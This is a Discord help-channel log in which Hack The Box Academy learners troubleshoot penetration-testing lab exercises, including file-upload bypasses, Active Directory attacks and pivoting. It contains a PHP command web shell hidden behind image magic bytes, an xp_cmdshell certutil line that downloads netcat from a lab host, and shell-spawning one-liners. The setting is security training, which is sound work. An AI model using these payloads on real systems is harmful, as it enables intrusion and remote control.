not filtered or anything like that

i'd suggest changing vpn regions and trying again

if respawning the machine doesn't work

[stark lark]

Will try to reste - btw, what do I need to do to be able to send screenshots? Follow this maybe? #welcome message

[fathom pendant]

yes

it also allows you to send large code blocks

otherwise automod treats you as a spammer and deletes it

[stark lark]

you use 3x ` to specify code blocks right?

[fathom pendant]

yes

[junior flicker]

Will do, thank you again!

[fathom pendant]

but i just am referring to large blocks of text in general

[stark lark]

Nice, btw do you know if I can use academy account on app.htb.com?

To verify

[fathom pendant]

they are separate accounts

you can make one with the same email and link them via the SSO portal https://account.hackthebox.com

[wanton idol]

yeah but the reverse shell you added has to be your own ip

[fathom pendant]

your own tun0 ip in most cases

[wanton idol]

you know what i meant lol

[fathom pendant]

yes but some people might not

so figured i'd further clarify

[wanton idol]

yeah true thank u

[fathom pendant]

if it's a docker target (public_ip:port) then getting a reverse shell is not the way

as they have more strict firewall rules to prevent outbound connections, and also are not on the vpn network

[wanton idol]

yeah you got to escape the docker which i hate lol

[fathom pendant]

eh escape is a strong word

[dim wolf]

you don't escape any containers in that module

[fathom pendant]

if you have RCE it's moreso just running the commands relevant to the OS

[wanton idol]

yeah we know he just giving an example about dockers

[thorn hawk]

waza to all. I am stuck on the File Upload module. I am very close to get the answer as I was able to load a web shell. In previous exercises this web shell worked perfectly fine giving the flag but this time when trying to get the answer i can only see the code of the web shell rather this being run as PHP. Any help is welcome thank you!!!!!

[fathom pendant]

my example was limited to the context of academy

[languid fjord]

Everything is via SSO now.

[autumn pilot]

on which section of the file upload attacks module are you stuck

[languid fjord]

Everyone has an account.

[fathom pendant]

i swear i've seen people say they can't log into the app site with their SSO and had to make then link an account

but that could have been *fixed ™️

[thorn hawk]

its the whitelist filters

I have create multiple iteration of the file extensions and have found which one can be uploaded. But when i go to the file I just see the PHP web shell code rather this being run.

[autumn pilot]

If you are stuck with the null-byte extension move onto the next one

One way to prove that you can execute PHP code is with a simple echo

[fringe urchin]

Yea my sso doesnt work but login with htb acc works lol

[fathom pendant]

did you link the SSO?

[fringe urchin]

Yea

[fathom pendant]

¯_(ツ)_/¯

might be worth a chat with support then lol

[fringe urchin]

Once i get annoyed with it yea. Till now i just login with the htb acc

[fathom pendant]

i mean

[languid fjord]

That is the SSO…

[fathom pendant]

it helps other users not just yourself

[languid fjord]

Htb account = SSO

[fathom pendant]

also yeah

LMAO the green button for "Login with HTB Account" is a redirect to the SSO portal

[languid fjord]

Account.htb you mean

[fringe urchin]

Ah whats this then? This dowsmt work for me

[fathom pendant]

Continue with HTB account -->

that's the SSO

the login page is purely for if you only have a login for that

and don't bother with the others

¯_(ツ)_/¯

[fringe urchin]

Ah i see. Yea this one dowsnt work for me.anymore. the SSO works then

Got me confused

[fathom pendant]

yeah because once you have SSO you just click the magic button

[fringe urchin]

Yea i though for some reason that the first page was sso

[primal needle]

I got you, i think my question was not clear, this is not reverse shell. This is xxe exercise, where you need to access parameter entity from external source.

[thorn hawk]

To my understanding my PHP web shell is OK and i know it works. I think my issue is that when I make combinations of extensiosn e.g. php./.jpeg after I can find only a .jpeg file when visit it doesn't run the PHP code. SHould I create also additional extensions with phtml or phtm?

[wanton idol]

which section is it?

[fathom pendant]

a combination of extensions would be .php/.jpeg

[glass tangle]

For file upload attack module skill assessment, I tried to identify filters for file extension (there are 5), test out if the request actually checking the file content by adding random strings (which it does check), I have also evaluate the response and decoded the base64 that ties with the file type. Now I am stuck... Do I need to fuzz thtough the content type parameter?

[fathom pendant]

not php./.jpeg

[thorn hawk]

I have tried also the above you just indicate.

[fathom pendant]

also you generally just chain them as .php.jpeg

no /

[glass tangle]

not php\x00.png?

[fathom pendant]

it depends

[glass tangle]

it accepted as image preview when I fuzzed that extension

[fathom pendant]

i believe you two are working on separate sections

[primal needle]

Web attacks - xxe - Advanced File Disclosure

[fathom pendant]

you're on the skill assessment, he's on the whitelist section

[glass tangle]

ah

I have the magic byts as png and add the basic webshell <?php system($_GET['cmd']); ?> after the magic byts as part of the file content, and it still got flagged as image only

any thoughts on why?

[wanton idol]

@primal needle are u doing the cdata method or the error based method for the xxe?

im guessing the error based one

[autumn pilot]

Yeah, try to fuzz extensions you are on the right path with the .php/.jpeg example

[primal needle]

Cdata method, for the error based i was not able to čo method, because I am curious why it is not able to access external resource.

[wanton idol]

alright ima do it rn and then we can compare what u did to what i did and see

[primal needle]

I really appreciate it, thanks

[glass tangle]

I have placed the <?php system($_GET['cmd']); ?> script lower in the file content, and it took it

but when I tried to visit the image http://IP/contact/upload_message/images.php/x00.png, it shows not found

[wanton idol]

@primal needle i have done it and it worked out for me for the error based xxe

can you pm me and send a ss of what u have done

[thorn hawk]

I found it hahahahhaha. I just extended my list with additional php extensions and i got the one

thank you all for the help

[storm elk]

Great job 👏

[fathom pendant]

<@&861185840277487616>

not trusting a random google form

[fringe urchin]

I was readint iiit

[fathom pendant]

i'd suggest 1: speaking with an admin/sr mod and 2: reading the #rules :)

[fathom pendant]

skill issue

[fringe urchin]

[fathom pendant]

tl;dr allegedly they are a researcher for uni and trying to get info about RCA (Root Cause Analysis) and trying to improve their educational institution

[fringe urchin]

Ah oke ty

[fathom pendant]

reading fast is a skill

i've read the .5 seconds of text on some PXE boot environments like those on PoS systems

[fringe urchin]

I came from general and just saw the first few words before it got yeeted

[gray chasm]

Does anyone know why all of a sudden the module instances, the keyboard language is changed to another language? xd

[fathom pendant]

? they've always been localed to at least English-UK

[fringe urchin]

Accidently pressed Windows key+ space?

[fathom pendant]

if they're using the pwnbox that generally wouldn't be the issue

[gray chasm]

That was xd

Thank you 🙂

[stark lark]

This apparently solved the issue. Do you know how to exit this mf.. SQL prompt without ctrl c

[analog dock]

;

[fathom pendant]

Semicolon

[stark lark]

Thanks!

[fathom pendant]

Also it helps to learn "where" statements

I.e. select * from [table] where [column] = "[value]"

It's useful when you know a specific value in a column you want the rest of the data for

[stark lark]

Thx! Yup, already took notes on that

[burnt oasis]

working in footprinting mysql module. They ask in the last question the find the customer Ottos email, I found the email and submitted but its telling me the answer is wrong. Am I not using the correct email for the user or is it site problem?

[limber river]

no the answer is the email as it is

just check maybe you had an extra spaces or something

[burnt oasis]

thanks for the response, checked spacing and still wont accept it. lol I been tryna fig this out all day going crazy so happy to atleast find out Im at right location @limber river

[limber river]

you can dm me the answer , so I can confirm it's correct or not

[autumn pilot]

Try to copy-paste the answer instead of typing it

[mellow holly]

"AD Enumeration & Attacks - Skills Assessment Part II" Submit the contents of the flag.txt file on the Administrator Desktop on the SQL01 host
Did anyone have trouble with uploading files to the SQL01 host? tryign to Priv esc on it and tryign to upload files, but seems like an issue. certutil, IWR, mounting share, etc failing. thanks for any help in advance

[zealous rune]

hi guys

I'm trying to follow along with some of the examples in the shells module

specifically spawning interactive shells using different interpreters

more specifically:
perl —e 'exec "/bin/sh";'

I have perl on my local system

but I cannot seem to get this to work from my interactive shell

[fathom pendant]

Wdym "can't get it to work"

Try changing /bin/sh to /bin/bash

[zealous rune]

/bin/sh exists

yeah so specifically i get the error:
Can't open perl script "—e": No such file or directory

[fathom pendant]

Ah

You're using a weird dash

That looks like an em dash

[zealous rune]

i can get the following to work:
#!/usr/bin/ruby
exec "/bin/sh"

placed in a file and run as a ruby script

[fathom pendant]

Instead of the standard -

Like I said

It's your -

- – — are all different

One is the standard, the second is en the third is em

[zealous rune]

oops

good spot

I copied and pasted directly from the webpage

[fathom pendant]

sometimes copying does some weird stuff ¯_(ツ)_/¯

[zealous rune]

yepp!

[fathom pendant]

I doubt the webpage uses anything but the regular dash if you compare

[heavy edge]

https://academy.hackthebox.com/module/143/section/1509

does it normally take long for the psexec command to go thru

the goal:

ive used PSexec

and restarted the ip as well

but its just sitting on

[mellow holly]

psexec is what i used, not sure what you are trying to do in your 2nd screenshot

seems extra

[heavy edge]

that is what im doing lol

[mellow holly]

ah, better context

[heavy edge]

i was trying to keep the info out of it

[mellow holly]

you tried it without the -target-ip?

[heavy edge]

so psexec.py FREIGHTLOGISTICS.LOCAL/[e-mail]

[fathom pendant]

Is that the right ip for dc03? Second I think all the machines are in the /etc/hosts file so you might be able to specify the machine name

[fathom pendant]

Yeah so instead of using IP use the machine name

Full caps ofc

It could also be that it's being dumb

Have you tried hitting enter?

[heavy edge]

<@&861185840277487616>

[cloud urchin]

<@&861185840277487616>

[fathom pendant]

<@&861185840277487616> in front of my nuggies

[heavy edge]

I PINGED THE WRONG PERSON DAMMIT

[cloud urchin]

https://tenor.com/view/dave-lindenbaum-clickfunnels-gif-18256092

[fathom pendant]

Damn I had time to type on mobile before you nerds pinged

[solid python]

donk

[cloud urchin]

my screen shows you were last

[heavy edge]

ty cloud our savior and lord

[fathom pendant]

https://tenor.com/view/hammering-plankton-spongebob-squarepants-bashing-battering-gif-25583117

[dusky star]

#general

[fathom pendant]

Read and follow #welcome to access it

[dusky star]

[limber river]

@heavy edge here's ur friend

[heavy edge]

whyd you add me

[dusky star]

#thanks I would appreciate if I can learn more

[heavy edge]

okay but

why did

you specifically

add me

[fathom pendant]

This isn't the channel for conversation

If they wanna talk in general they can follow #welcome to access more channels

[dusky star]

I want to be a part of your journey & Success stories

[fathom pendant]

My opinion is already negative due to crypto shill

But I can overlook that

I suggest reading #rules as well

Generally people don't respond positive to random friend requests

At best they ignore, at worst they call you every name under the sun

If you want to learn you can look at HTB Academy but I don't think there's much that'll interest you if you're only into the crypto side

[cedar yew]

hello guys,

Active Directory module kerberos section

when i use the domain user forend, wley my command not working
output connection refused

./GetUserSPNs.py -dc-ip 10.129.174.112 INLANEFREIGHT.LOCAL/forend
Impacket v0.11.0 - Copyright 2023 Fortra

Password:
[-] [Errno 111] Connection refused

[cloud urchin]

well, it says connection refused so check your networking stuff

ensure target is up etc

do the basic steps first

[fathom pendant]

Connection refused:
Target said "nuh-uh"

[cedar yew]

I can access the machine

I'm already connected via ssh

[wanton idol]

are u sure the ip is the correct ip for the dc

[limber river]

not sure but check the /etc/hosts and make sure there's an entry for INLANEFREIGHT.LOCAL

[cloud urchin]

pixelrazer is right, he needs the correct DC IP in there

[inner geyser]

I'd go with @wanton idol 's suggestion and double-check the DC IP

[cedar yew]

okey

[cedar yew]

true i fix it

not working

my hosts file

172.16.5.5 INLANEFREIGHT.LOCAL
10.129.174.112 INLANEFREIGHT.LOCAL

[cloud urchin]

you have the hostname pointed to 2 separate ip addresses, don't you think that's going to cause some conflict? the hostnames should be unique for the ip

[cedar yew]

It's true but I tried it one by one and it didn't work

[cloud urchin]

welp that's why i said you gotta troubleshoot the basics. make sure all your targets, hosts, etc, EVERYTHING is correct. it all has to be right

[cedar yew]

okey

[wanton idol]

hmmm remove both ip from the hosts file and ping 172.16.5.5 and see if u can reach it

[fathom pendant]

I mean it sounds like they haven't properly pivoted to the network

[cloud urchin]

^

[fathom pendant]

The module does have a parrot host to run the relative linux commands

[wanton idol]

true

[cloud urchin]

you aren't going to reach 172.16.5.5 with just the vpn connection

[fathom pendant]

I believe it exists on 172.16.5.225

The creds are given in one of the sections

Otherwise you can do pivoting to access the internal network

[wanton idol]

yupp

[fathom pendant]

Note: the pivoting module is a stated pre-requisite module for this one

[cedar yew]

okey thanks i use the pivot

[wanton idol]

THE PIVOT

[fathom pendant]

Then you'll need to use the methods of connecting to the internal network your pivot method requires

I.e. proxychains

Or a method may require the use of setting up a route

[cedar yew]

worked

thanks

I have a job interview tomorrow, I'm a little stressed and trying to learn a lot.

[fathom pendant]

Then take a break if you have to

[uneven oracle]

@fathom pendant I don’t know which image to download for Mac m chips…

[fathom pendant]

M chips would be ARM afaik

A simple Google would answer :)

[uneven oracle]

It’s not quite popping up… 🫤

[fathom pendant]

I just googled "are m chips arm"

[uneven oracle]

You found the iso?

[fathom pendant]

?

[uneven oracle]

Yes.
But do you see the kali wmware iso for arm?
Hard to find.

I’m thinking that’s why he made that custom image. 🤷🏽‍♂️

[fathom pendant]

I think their arm ones are on qemu

[uneven oracle]

That’s why I’m using the custom image…

[fathom pendant]

But you're best off going to the kali discord and asking

https://www.kali.org/get-kali/#kali-installer-images

Doesn't look like they have a pre-built one for m1/m2

But you can download the installer

<@&861185840277487616>

[uneven oracle]

That’s to put it on bare metal, right?
I just want the iso for VMware.

[fathom pendant]

You can use installer images in a hypervisor

Much like you can use an iso for amd64 devices

You just select the installer image to mount

¯_(ツ)_/¯

[uneven oracle]

That means I’d have to download another program other than VMware?

[fathom pendant]

No?

VMware is a hypervisor

A hypervisor is virtualization software

[uneven oracle]

So is virtual box?
But they have different download images.

[fathom pendant]

You can use an iso on Virtualbox and vmware

[uneven oracle]

I’d have to get a “UTM” virtual machine.

[fathom pendant]

Much like you can use the .img file

[uneven oracle]

I’ll try it.
Let’s see if the installer works on VMware.

[fathom pendant]

¯_(ツ)_/¯

.ova is just a pre-made virtualbox image

.iso is the disk file

[uneven oracle]

The installer image is for direct access to hardware.
The virtual machines are different depending on which you are running.
I’m running VMware.
The VMware image is not for arm.

[fathom pendant]

Like I said, take it up with offsec/kali

I know several people have had no problems virtualizing kali on a mac

[uneven oracle]

This is why I’m using the custom image @fathom pendant lol.
I wish I knew how to make them. Idk…
It’s ok for now…

[uneven oracle]

On Mchips?

We haven’t even figured it out amongst ourselves just now. 🤷🏽‍♂️

[fathom pendant]

Yea

https://www.kali.org/docs/virtualization/install-vmware-silicon-host/

official documentation says to use the installer image ¯_(ツ)_/¯

[uneven oracle]

Maybe it was custom…
As we can see, they don’t really have pre-made images.
The Kali docs even state that’s there are issues running Kali on Mchips.

[fathom pendant]

Use the link I posted

You goon

It lists detailed steps

[fathom pendant]

Not custom

[uneven oracle]

I’m trying it…

[mellow holly]

bumping again
"AD Enumeration & Attacks - Skills Assessment Part II" Submit the contents of the flag.txt file on the Administrator Desktop on the SQL01 host
Did anyone have trouble with uploading files to the SQL01 host? tryign to Priv esc on it and tryign to upload files, but seems like an issue. certutil, IWR, mounting share, etc failing. thanks for any help in advance

[fathom pendant]

No troubles here

[mellow holly]

what command you used? @fathom pendant

[fathom pendant]

Certutil

[fierce mason]

for skills assessment ii on ad attacks, why does sharphound give a different result than bloodhound.py

[mellow holly]

@fathom pendant sorry, getting nothing with certutil

[fathom pendant]

¯_(ツ)_/¯

Remember the target can't directly access your machine

So you need to get it to the jump host then transfer

[mellow holly]

already on jump host

with files prepped and webserver/share up

something not right

[fierce mason]

try meterpreter

[fathom pendant]

Make sure you use the right ip

172 can't connect to 10.129

(At least they don't share any other common interface)

Also make sure you enable_xp_cmdshell

[mellow holly]

IP is good and xp_cmdshell also enabled

[fathom pendant]

reset the environment and try again then maybe ¯_(ツ)_/¯

[mellow holly]

xp_cmdshell 'certutil -urlcache -split -f "http://172.16.7.240:8000/nc64.exe" "C:\tmp\nc64.exe"'

already reset x3

[uneven oracle]

Kali Purple looks cool… 🙂

[fathom pendant]

What's C:\tmp?

[mellow holly]

i made a dir

also used other dir as well

like C:\Users\Public

[fathom pendant]

C:\Windows\temp is the default temp

Are you getting any messages in your hosted web server?

[mellow holly]

i even see it hit my server, but looks like it times out

[fathom pendant]

Weird

Try changing vpn regions and trying again with a new target

It sounds weird

[uneven oracle]

You using pwnbox or your own vm?
I get weird behavior when I use my own vm sometimes.

[fathom pendant]

As it shouldn't affect internal machines

[mellow holly]

pwnbox

[fathom pendant]

Shouldn't generally matter as this skill assessment uses an internal linux host for attacks

You can pivot if you want

[mellow holly]

wasting time on something simple like this.

[fathom pendant]

¯_(ツ)_/¯

[mellow holly]

will see if switching VPN region works

[fierce mason]

^

[fathom pendant]

No idea brother

Likely slightly different collections

As the linux host might not be part of the AD network

[mellow holly]

https://tenor.com/bjR9H.gif

as the packets makes it way from the new VPN

bah, changing VPN didnt help

https://tenor.com/xMpa.gif

[acoustic vale]

Having the same issue using certutil it outputs a empty file

have been trying the past day

tried with curl aswell no luck 😦

and can't get powershell to work correctly through xp_cmdshell

[quasi summit]

Currently doing the UNDERSTANDING LOG SOURCES & INVESTIGATING WITH SPLUNK which requires a login to the splunk website from within the pwnbox but when i try to it just loads endlessly

dont know whats happening

[inner geyser]

I'm on AD Enumeration & Attacks as well...but probably won't get to the skills assessment til MAYBE tomorrow. US VPNs have caused me enough issues that I'll probably be on EU VPNs for the rest of the module. Doesn't seem like that would be your issue with certutil and curl....but I was having connection issues with US VPN from the jump server to target/DC servers. Pretty unlikely for your issues but who knows

[acoustic vale]

Well I’m transferring from both the internal machines so I feel like vpn shouldn’t make a difference

[inner geyser]

Yeah both of mine were internal as well

Running impacket commands from internal parrot box (not my attack server or PwnBox) and they didn't work. Switched to EU VPN and had no problem....weird since they were both internal

[acoustic vale]

Will try when I build brain capacity back from troubleshooting

[inner geyser]

lol yeah I hear you. I'm on EU-1 right now....worth a try for sure. I have 1 and maybe going to be 2 support tickets open for internal connection issues with this module

[muted fossil]

hi everyone , i'm working on the module SHELLS & PAYLOADS and doing the skills assessment, but i can't upload files from the pwnbox into the final target box, it seems something about network between them, anyone can give me some advice Plz, i will be very appreciated

[quasi summit]

I'm gonna try this. thank you

[next bronze]

I don't think you need to upload anything, just get a shell

[muted fossil]

im trying to upload a file then i can get a shell

[next bronze]

host 3? you don't need to upload anything to exploit

[muted fossil]

hint tells this: This host seems to allow war files to be uploaded. Maybe a certain kind of payload could be crafted....

but i cannot uplod a .war file or .aspx file ,it's a network issue

[muted fossil]

host1

[next bronze]

that's not the final target

you can upload after you have logged in, or use msf

[muted fossil]

connection was reset is the error msg from firefox

[next bronze]

when uploading through browser?

[muted fossil]

yep

[next bronze]

try changing vpn servers, use a eu server

[muted fossil]

ok thanks, im using a asia server, maybe it's the cause

[next bronze]

I'm referring to the vpn server

[muted fossil]

thanks for your advice but im from a country which deployed a nation level firewall

[cloud urchin]

Changing your VPN server also changes the pwnbox's server, so it actually can help

[twin ocean]

What's the best method to copy from my desktop into the HTB Acad spawned instance? It allows me to paste sometimes but not always.

[west canopy]

With Pwnbox running full screen in edge browser, i can directly copy/paste

all other browsing on one monitor with firefox, with full screen Pwnbox using Edge on the other

idk any other browser that allows for direct copy paste. So in that case we have to use the clipboard on the bottom right of the pwnbox

[storm elk]

I can do it in chrome

On Mac

[twin ocean]

Ahh, I was just running the instance in the small box at the bottom of each page which doesn't seem to have the pastebox. Using fullscreen shows the pastebox. Thanks for the assistance.

I am using Firefox on a Win 11 system for context

[west canopy]

and if you ever have to re-size it it, you can just click the icon between the X and minimize

idk what its called

this thing

[twin ocean]

I can't actually think of it's proper name either. I've always just called it maximise

[atomic sigil]

Hi. Has anyone completed the HTTP Attacks Skill Assessment? Can I get a nudge please?

[west canopy]

right, it either maximizes or resizes back down to whatever size it was at earlier

the resizimaximizer

[muted fossil]

thanks buddy , switched to a eu vpn, it's match better

[muted fossil]

yep change to a eu vpn, it's fixed

[stark lark]

CPTS -> Footprinting -> IPMI
https://academy.hackthebox.com/module/112/section/1245

I've tried;

• Verifying that it indeed is SHA1 hash
• Verified that the hash is the same as outputted

I'm not sure how to continue

[next bronze]

try adding --username at the back

[stark lark]

Thanks!

[bold sinew]

Evening gents.

Currently working on Password Attacks > Pass the Ticket (PtT) from Linux. I am on the question where it is asking me to use julio's kerberos ticket to access dc01/julio and read a file. I have managed to obtain an smbclient session but im not sure what to do from here. Is there a command like type or cat I can use in the SMB client to read the file? Or a way to transfer it to the linux machine im SMBing from?

[solar grove]

rdesktop -u htb-rdp -p HTBRocks! 10.129.203.13
Autoselecting keyboard map 'en-gb' from locale
No protocol specified
UI(error): ui_init(), failed to open X11 display: :1
Why am I getting this error

[cloud urchin]

Maybe your target doesn't have a GUI? What module and section?

[solar grove]

@cloud urchinATTACKING COMMON SERVICES RDP

[next bronze]

get <file>, exit smbclient, cat <file>

[cloud urchin]

i believe while in the smb session you can also type !cat <file> to type it out.

[next bronze]

ah right

[solar grove]

@cloud urchinI don't know if I'm writing wrong

[bold sinew]

That did it, ty

[cloud urchin]

What module and section are you on?

[solar grove]

@cloud urchin attacking common services rdp

attacking common services --> rdp

[cloud urchin]

The error message suggests and issue with the target, however I'm not familiar enough with rdesktop errors to be certain. Generally I use xfreerdp or remmina to RDP into boxes. The error message alone isn't enough for me to give you a definitive answer on what the problem is due to my lack of knowledge with the tool. I don't think it matters in this module what app you use, so I'd just say try xfreerdp or remmina instead. Maybe someone more familiar with rdesktop can help beyond that.

[kind sun]

Hi boys and girls)) can someone explain is normal to xfreerdp to have input lags ??

[next bronze]

xfreedrp also will throw the error if there's no gui or something is msessed up (like you said)

[solar grove]

@cloud urchin #xfreerdp /v:10.129.203.13 /u:htb-rdp /p:HTBRocks!
No protocol specified
[08:03:48:786] [4169:4169] [ERROR][com.freerdp.client.x11] - failed to open display: :0
[08:03:48:786] [4169:4169] [ERROR][com.freerdp.client.x11] - Please check that the $DISPLAY environment variable is properly set.
I get the same error, is there a problem with the machine?

[next bronze]

the problem is not with the target, probably restart your vm and try again

[solar grove]

The question is very simple but I cannot connect to the target windows machine

[kind sun]

I have sometimes this issue too cant connect. But vpn server switch fix this one

[autumn pilot]

Don't switch to the root user in the workstation in Academy, there is no reason to execute every command as root

Switch back to your original user and retry the rdp command

[solar grove]

I restarted the machine and I am getting the same error, can someone please try and see if I am the only one getting the error.

[next bronze]

rdp is inherently more prone to latency because you're sharing the whole GUI instand of just text in the terminal

[autumn pilot]

If you want to be in the context of the root user, then you must set your $DISPLAY variable correctly

[kind sun]

@next bronze the problem is in network am i right ?

[solar grove]

should I wait for a while after starting the machine and then try it?

[next bronze]

what @autumn pilot said, don't run as root

[next bronze]

network and the rdp protocol itself

[kind sun]

Fck

[solar grove]

@autumn pilot Thanks, the problem was root

@next bronze thx

[hoary depot]

Sorry if this is not the place to ask, but how does one request 1 on 1 tutoring were one to be so inclined?

[autumn pilot]

#academy-announcements message

You now have an option in the settings that you can enable when you get stuck on an exercise

[mighty whale]

Hi there, in AD assessment II, I tried to SSH tunelling with ssh -D 9050 htb-student@<pwnbox IP> from my kali through the pwnbox, but it's not worked. Please help.

[cloud urchin]

Based on what you showed form your command, it's missing the port after -D

[mighty whale]

Sorry the port was included.

[cloud urchin]

As long as your syntax is correct, it should work. My next troubleshooting step would be to confirm the proxychain configuration (unless you're using some other application.)

[hoary depot]

Oh word. Tks 🙂

[hoary depot]

So the 1 on 1 tutorial option has been nixed? Sometimes I want more than just an answer or a walkthrough...

[cloud urchin]

ask your question here, someone may be able to chime in

[autumn pilot]

If you need clarification about any aspect of an attack or approach, feel free to ask here.

[hoary depot]

Ok, thanks

[mighty whale]

Why I cannot paste images here?

[cloud urchin]

because you didn't read #welcome and/or your 'hacker level' isn't high enough

[spark spruce]

could there be any bug on this webpage?

[solid moth]

Module: PIVOTING, TUNNELING, AND PORT FORWARDING
Section: Skills Assessment
Question: In previous pentests against Inlanefreight, we have seen that they have a bad habit of utilizing accounts with services in a way that exposes the users credentials and the network as a whole. What user is vulnerable?

i don't how to transfer the lsass file to my attackhost . any hint please?

[cloud urchin]

There are many ways. http, smb, netcat, evil-winrm, crackmapexec, xfreerdp, remmina, ftp

[sterile vigil]

#Abusing HTTP Misconfigurations -> Skills Assessment - Easy
Could someone give me hint how to get flag ?
I logged in as htb-stdnt. I have to enter|| /admin_users.php||. I can see reset and registration feature. I tried ||Session Puzzling|| like in exercise "Common Session Variables (Account Takeover)" but I get|| Warning! Please complete Phase 2 first||.... Also ||add_customers.php|| doesn't work and I can't search users too etc.

[solid moth]

they are not in the same network

[cloud urchin]

You need to tunnel your connection. After that xfreerdp or remmina with folder sharing makes it very easy to transfer files. Remmina config window has a folder input field you can populate, or use the /drive parameter with xfreerdp

once you've established your tunnel it doesn't really matter what file transfer method you use

[next bronze]

just write a tool that can transfer the dump over a pivot using tcp byte stream

[solid moth]

thanks i didn't know about the "/drive" parameter